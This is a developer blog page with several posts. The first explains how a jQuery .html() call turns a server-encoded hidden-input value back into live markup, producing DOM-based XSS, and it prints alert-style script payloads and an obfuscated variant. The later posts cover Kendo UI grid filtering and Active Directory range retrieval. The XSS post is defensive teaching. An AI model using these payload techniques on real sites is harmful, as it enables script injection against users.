An interesting question arises once a page uses both server side and client side scripting to construct a page. If user input has been encoded by the server side scripts, should the client side scripts still treat them as untrusted? Some people would instinctively say "yes", because you are still dealing with user supplied input and user supplied definition cannot be trusted. Other would instinctively say "no", because double encoding tends to lead to messy and unpredictable outputs. My answer is a resounding "it depends", and I will show you why.

Recently, I came across a web page that adopted the latter approach. The page used a post parameter to do some server side application magic and then reflected said parameter again as the value of a hidden input. The reflected parameter had all of its interesting character  properly encoded into their respective html entities so if I were to make a post with 'param=<script>alert("XSS")</script>', I would be presented with a piece of html like:
<input type="hidden" id="param" value="&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;"/>

So, I had no way of breaking out of the value attribute, let alone the input tag.
Curiously though, if I made the post using a browser and allowed all of the page's javascript to run, I was still presented with my XSS popup.

Going through the javascript, I found there was a little bit of jQuery that basically read
$('#someDiv').html('[some html]' + $('#param').val() + '[some other html]');
For those unfamiliar with jQuery, what this does is it takes the value attribute of our "param" input and puts it together with some other html as the InnerHTML of div "someDiv".
So, after this bit of javascript is evaluated, our HTML suddenly contains a line
<div id="someDiv">[some html]<script>alert("XSS")</script>[some other html]</div>

But wait! Wasn't our "param" encoded with HTML entities and stuff? Shouldn't that line have read
<div id="someDiv">[some html]&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;[some other html]</div>
and been safe to display?

Well, yes and no. Yes, the value of "param" was indeed properly encoded. However, this encoding is interpreted by the browser when it reads the value attribute and stores it into the string, so the string contains the value as it was interpreted, not necessarily as it was encoded: "<script>alert("XSS")</script>".
This kind of interpreting is done all the time by your browser, although not always as you would expect. How content of an attribute or a tag is interpreted and/or re-encoded depends on a combination of which accessor is used to retrieve the content and the tag/attribute that contains it. The id attribute is interpreted different from an anchor's href, for instance. And the way content of tags is interpreted changes depending on whether you use innerHTML or textContent.

I highly recommend playing around a bit with various combination of accessors, nestings and encodings.
To get you started I have included a little section that shows some of the ways in which the string "&lt<p>script>alert(1)<</p>/scr<br/>ipt&#62;" can be interpreted.

<

script>alert(1)<

/scr
ipt>





As you can see, these three accessors produce three completely different outputs, each of which contains at least one set of valid html tags (and therefor a possible source of XSS).

Because the way that data is interpreted by the browser is so heavily influenced by its context, it is nigh impossible to create a magic catch-all server side function that will turn untrusted user input into safe-for-javascript-manipulation sanitized data. This means that in order to create a safe web application, the client-side javascript needs to treat any input that can be influenced by the user as untrusted, even when it's already encoded server side. This means that before reflecting data on a web-page, you have to 
1) determine the context in which the data is going to be reflected, so you can determine which character encodings appropriate and which are dangerous
2) determine the behaviour of the accessors you are using, so you know what kind of automatic character encoding conversions are applied when retrieving and/or reflecting the data
3) decode and/or re-encode the input in such a way that after the automatic conversions, the reflected output conforms to the appropriate encoding.

Of course, this can be abstracted by creating / using custom accessors that automatically apply decoding mechanisms for data retrieval and encoding mechanisms for data reflection, but that's an excercise I'll leave to the reader ;)

Happy hacking!

 

Tags:

Algemeen | Development | Hackers | Security

Excel-like filters for Kendo UI Grid

door Sander 22-3-2012

In my previous post I showed how to set up the grid so that all data operations occur on the server. In this post, I’ll build on that a little further to enable filtering like Excel does.

Here is the default method of filtering:

old

And this is what I want:

new

Excuse the blurs, that is ‘real’ testdata Smile

First we need to set up the little screens that will replace the default filtering. I used a div with some Razor to create a list of checkboxes:

<div id="customers" class="filterDropdown">
        @foreach (var c in ViewBag.CustomerFilterSource)
        {
            var customer = "Customers_" + c;
            <input type="checkbox" id="@customer" name="CustomerName" value="@c" checked="checked" />
            <label for="@customer">@c</label>
            <br />
        }
        <input type="button" id="applyCustomerFilter" value="Apply" />
    </div>

The data comes from a collection in the ViewBag that is loaded when the page is served.

Next thing is getting rid of the default filter window. It took me a while to figure this one out but it turned out to be really simple. I used jQuery to locate all the little filter buttons in the header and remove their click events and adding my own:

$("#reportGrid").find(".k-grid-filter").unbind("click").click(function () {
            var parent = $(this).parent();
            var filterList;
            switch (parent.attr("data-field")) {
                case "CustomerName":
                    filterList = $("#customers");
                    break;
                case "CertificateNumber":
                    filterList = $("#certificates");
                    break;
                case "ReportDate":
                    filterList = $("#reportdate");
                    break;
                case "ReportType":
                    filterList = $("#reporttypes");
                    break;
            }
 
            var offset = $(this).offset();
            filterList.css('top', offset.top + $(this).height()).css('left', offset.left + $(this).width()).slideDown();
            return false;
        });

The filter buttons are easy to locate as they have a specific CSS class applied to them. In the switch-case I determine which popup I want to show when the button is clicked. In the last three lines I place the popup in the same spot as the filter button so that it rolls out from where the user clicked.

Some code for the Apply buttons: (just showing one here)

$("#reportdate").hide();
        $("#applyReportDateFilter").click(function () {
            setDsFilter(generateDsFilter());
            $("#reportdate").slideUp();
        })

The popup is hidden since we only want to see it when one of the filterbuttons is clicked. The click event takes care of resetting the datasource filters and hiding the popup.

Now we get to the fun part! To keep the existing filter functionality of the grid’s datasource intact, we need to generate the filters ourselves. That way, the controller code from my previous post can be left unchanged to pick up the filters that the grid posts.

The filters on the datasource are contained in a single object, this object has a property called ‘logic’ which specifies if this is an AND or an OR query. The other is an array of objects named ‘filters’ that hold the columns and their filter values. So here is what needs to happen: Gather all the checkboxes that are checked, translate them into a valid JSON filter object and apply the new filter to the datasource.

function generateDsFilter() {
 
        var checkboxContainer = $("#checkboxFilters");
        var flt = { logic: "and", filters: [] };
 
        checkboxContainer.find("input:checked").each(function () {
            var name = $(this).attr("name");
            var val = $(this).attr("value");
 
            flt.filters.push({ field: name, operator: "eq", value: val });
        });
 
        return flt;
    }

The checkbox container you see holds all the windows that contain checkboxes. We need all of them so I put the windows together in a div for easy selecting with jQuery.

‘flt’ is the object that we need to fill with the filters. The logic is set to AND because we want an exclusive filter. We only want to see stuff that is checked. In a loop we pass all the checked checkboxes using jQuery and add them to the filters property of the main filter object.

To apply the filters to the datasource I added this function:

function setDsFilter(customFilter) {
        var grid = $("#reportGrid").data("kendoGrid").dataSource.filter(customFilter);
    }

I put this in a separate function because there is one thing we still need to fix. The datasource has no initial filter. With the filter being empty, no data is loaded.

To make sure the grid has an initial filter we need to set the ‘filter’ property on the datasource that is part of the grid code:

dataSource: {
                type: "json",
                serverPaging: true,
                serverSorting: true,
                serverFiltering: true,
                allowUnsort: true,
                filter: generateDsFilter(),
                pageSize: 25,
                transport: {
                    read: {
                        url: "Export/PagedData",
                        type: "POST",
                        dataType: "json",
                        contentType: "application/json; charset=utf-8"
                    },
                    parameterMap: function (options) {
                        return JSON.stringify(options);
                    }
                },
                schema: { data: "Items", total: "TotalItemCount" }
            }

This ensures that when the grid is first created, all the filters are applied BEFORE the data is loaded, in this case, all the data is loaded because all the checkboxes are checked.

When clicking the Apply button in one of the filter windows (see the code somewhere above) we regenerate the filters and apply them to the datasource. The grid will then call the Controller Action and post the filters to the server for you to handle.

Tags:

ASP.NET MVC | Development | Kendo UI

Kendo UI Grid with server paging filtering and sorting (with MVC3)

door Sander 21-3-2012

I gave the Kendo UI framework a try today. I needed a grid that could do anything (filtering, sorting and paging – the real kind, on the server that is).

Going about my coding business I came across some things that I found hard to solve using the existing documentation, which inspired this blogpost.

As I mentioned, this is about the Kendo UI KendoGrid. The definition of the grid itself is very easy to when you use the “getting started” tutorial and I ended up with something like this:

$(document).ready(function () {
        $("#reportGrid").kendoGrid({
            dataSource: {
                type: "json",
                serverPaging: true,
                serverSorting: true,
                serverFiltering: true,
                allowUnsort: true,
                pageSize: 10,
                transport: { 
                    read: { 
                        url: "Export/PagedData",
                        type: "POST",
                        dataType: "json",
                        contentType: "application/json; charset=utf-8"
                    },
                    parameterMap: function(options) {
                        return JSON.stringify(options);
                    }
                },
                schema: { data: "Items", total: "TotalItemCount" }
            },
            pageable: true,
            sortable: true,
            filterable: true,
            columns: [
                    { field: "CustomerName", title: "Klant" },
                    { field: "SerialNumber", title: "Serienummer" },
                    { field: "CertificateNumber", title: "Polisnummer" },
                    { field: "ReportDate", title: "Melddatum" },
                    { field: "ReportType", title: "Meldingtype" },
                    { field: "Description", title: "Omschrijving" }
                ],
        });
    });

One point of interest in this code here, the parameterMap in the transport section of the datasource. Without that mapping there, MVC3 will have a hard time reading the parameters that are posted by the grid. The stringify function translates it to something we can use in our controller action.

Lets take a look at that:

public JsonResult PagedData(int skip, int take, int page, int pageSize, List<SortDescription> sort, FilterContainer filter)
        {
            int itemCount = 0;
            var data = _export.GetData(page - 1, pageSize, out itemCount, filter, sort);
 
            return Json(new ExportModel(data, itemCount), JsonRequestBehavior.AllowGet);
        }

The first four parameters are straightforward and let me handle the paging in my query. Note that you need to define the serverXXXXX properties on the grid for these to be posted to the controller on the server! The schema tells the grid the properties to look for when data is read from the server. When paging serverside, you will also need to tell the grid how many items exist on the server so it can calculate the number of pages to show.

After that, things get interesting. Before I came to the solution I now have I spent a fair amount of time searching high and low on how to solve the parsing of array in the querystring. I gave up on that after finding out about the stringify function for the parameterMap in the grid.

If you want some more insight on how to configuring the datasource, look here:

http://www.kendoui.com/documentation/framework/datasource/configuration.aspx

It has everything on configuring a datasource for the Kendo Grid. I was looking for filtering and sorting, which comes down to this:

When filtering, the grid produces and object that contains an array of objects that hold our filter parameters. It holds the columnname, the filter value and the operator used in the filter.

When sorting, an array of objects is produced where each element has an object that contains the column and sort direction for every sort operation.

Translating that into code, we come to this:

public class SortDescription
    {
        public string field { get; set; }
        public string dir { get; set; }
    }
 
public class FilterContainer
    {
        public List<FilterDescription> filters { get; set; }
        public string logic { get; set; }
    }
 
public class FilterDescription
    {
        public string @operator { get; set; }
        public string field { get; set; }
        public string value { get; set; }
    }
If you look at the parameters in the controlleraction, we have a list of sortdescriptions, and an object that contains a list of filters.

The controller is now aware of the filtering and sorting on the grid and all you have left to do is translate the filters and sorting into a query.

Tags:

ASP.NET MVC | Development

Get more than 1500 members from an Active Directory group

door Ronald 5-1-2012

When retrieving the members of a group, Active Directory will never return more than 1000 (Win2000) or 1500 (Win2003) entries. This is true for all multi-valued properties. So suppose you have a group with more than 1500 members, it’s difficult to get all of them.

 

   1: DirectoryEntry groupEntry = ...;
   2: var members = groupEntry.Properties["member"];
   3: var nrMembers = members.Count;

 

In the example, nrMembers will never be larger than 1500, even when the group has more than 1500 members.

 

To overcome this problem, there are two possible solutions. First, instead of taking the group and reading the member property, look at all the potential members and check their memberOf property.

 

   1: // Construct a memberOf LDAP filter.
   2: var groupWithMembersDn =
   3:    "CN=TestGroup,OU=Groups,DC=itq,DC=local";
   4: var filter = String.Format("memberOf={0}", groupDn);
   5:  
   6: // Load only the objectSid of every member.
   7: var properties = new[] { "objectSid" };
   8:  
   9: // Get a root entry to start the search from.
  10: DirectoryEntry rootEntry = ...;
  11:  
  12: // Find sid's for all group members.
  13: var searcher = new DirectorySearcher(
  14:    rootEntry, filter, properties, SearchScope.Subtree);
  15: searcher.PageSize = 100;
  16: using (searcher)
  17: {
  18:    var memberResults = searcher.FindAll();
  19:    foreach (SearchResult memberResult in memberResults)
  20:    {
  21:       var memberSidBytes =
  22:          (byte[]) memberResult.Properties["objectSid"][0];
  23:       var memberSid = new SecurityIdentifier(sidBytes, 0);
  24:     }
  25: }

 

In the example we get the SID of every member of the group with distinguished name CN=TestGroup,OU=Groups,DC=itq,DC=local.

 

This approach has two disadvantages. One issue is that you always have to scope the search from a specific root entry. If you want to make sure you get every group member, your scope should always be the root of the Active Directory domain. This probably makes your search space too wide and therefore has a negative impact on performance.

 

A second and larger disadvantage is that this approach fails in a multi-domain or multi-forest environment. Since you scope the search to a specific root entry, you will find nothing outside this scope. So if the group has a member outside the current domain or forest, this member will not be found.

 

So, it would be nice if we could look directly at the group’s members without being bound by the 1500 entries limit. This can be accomplished via range retrieval of attribute values.

 

To use this, you first need to get the DirectoryEntry for the group you want to find the members of. This entry will be the search root of a DirectorySearcher. Next, you append a range option to the multi-valued property you want to load (in this case, the member property). Finally, you loop through each range and collect the member property values.

 

   1: var memberDns = new List<string>();
   2: const int increment = 999;
   3: var groupEntry = ...;
   4: int from = 0;
   5: while (true)
   6: {
   7:    // End of the range.
   8:    int to = from + increment - 1;
   9:  
  10:    // Attach a range option to the properties to load,
  11:    // for example: range=0-999.
  12:    var properties = new[]
  13:       { string.Format("member;range={0}-{1}", @from, to) };
  14:  
  15:    // Perform a search using the group entry as the base.
  16:    var filter = "(objectClass=*)";
  17:    var memberSearcher = new DirectorySearcher(
  18:       groupEntry, filter, properties, SearchScope.Base);
  19:    using (memberSearcher)
  20:    {
  21:       try
  22:       {
  23:          var memberResults = memberSearcher.FindAll();
  24:          foreach (SearchResult memberResult in memberResults)
  25:          {
  26:             var membersProperties = memberResult.Properties;
  27:             var membersPropertyNames =
  28:                membersProperties.PropertyNames
  29:                   .OfType<string>()
  30:                   .Where(n => n.StartsWith("member;"));
  31:             foreach (var propertyName in membersPropertyNames)
  32:             {
  33:                // Get all members from the ranged result.
  34:                var members = membersProperties[propertyName];
  35:                foreach (string memberDn in members)
  36:                {
  37:                   memberDns.Add(memberDn);
  38:                }
  39:             }
  40:          }
  41:       }
  42:       catch (DirectoryServicesCOMException)
  43:       {
  44:          // When the start of the range exceeds the number
  45:          // of available results, an exception is thrown
  46:          // and we exit the loop.
  47:          break;
  48:       }
  49:    }
  50:    // Increment for the next range.
  51:    from += increment;
  52: }

 

 

On lines 12 and 13 you can see the range option being added to the member property we wish to load. The from and to values of a range are inclusive so a range=0-4 contains the elements 0, 1, 2, 3, 4.

 

Line 24, where we iterate the found results, throws a DirectoryServicesCOMException when the from part of the range extends the number of elements to be found. This is one way to check whether we have found all results. Another way to check that we have arrived at the last result is described below.

 

The results contain member properties that are indexed as follows: for each result that is not the last result, the key to the actual members is member;range=0-999, member;range=1000-1999, etc. For the last result it is member;range=2000-* (even if we specify member;range=2000-2999 in the search). By checking that the returned property name ends with *, we can determine that it is the last result.

 

UPDATE: After some testing it appeared that my implementation had a bug. I wrote a while (true) {...} loop that was supposed to exit with an exception. Well, not always.... When the group has no members, the loop keeps running without ever exiting. So between lines 3 and 4 in the last example, you should check whether the group has any members and make sure never to enter the loop: if (groupEntry.Properties["member"].Count == 0) {...}. Alternatively, inside the loop, you could rewrite your end condition not to depend on an exception, but on the method described in the previous paragraph.

Tags: , ,

Development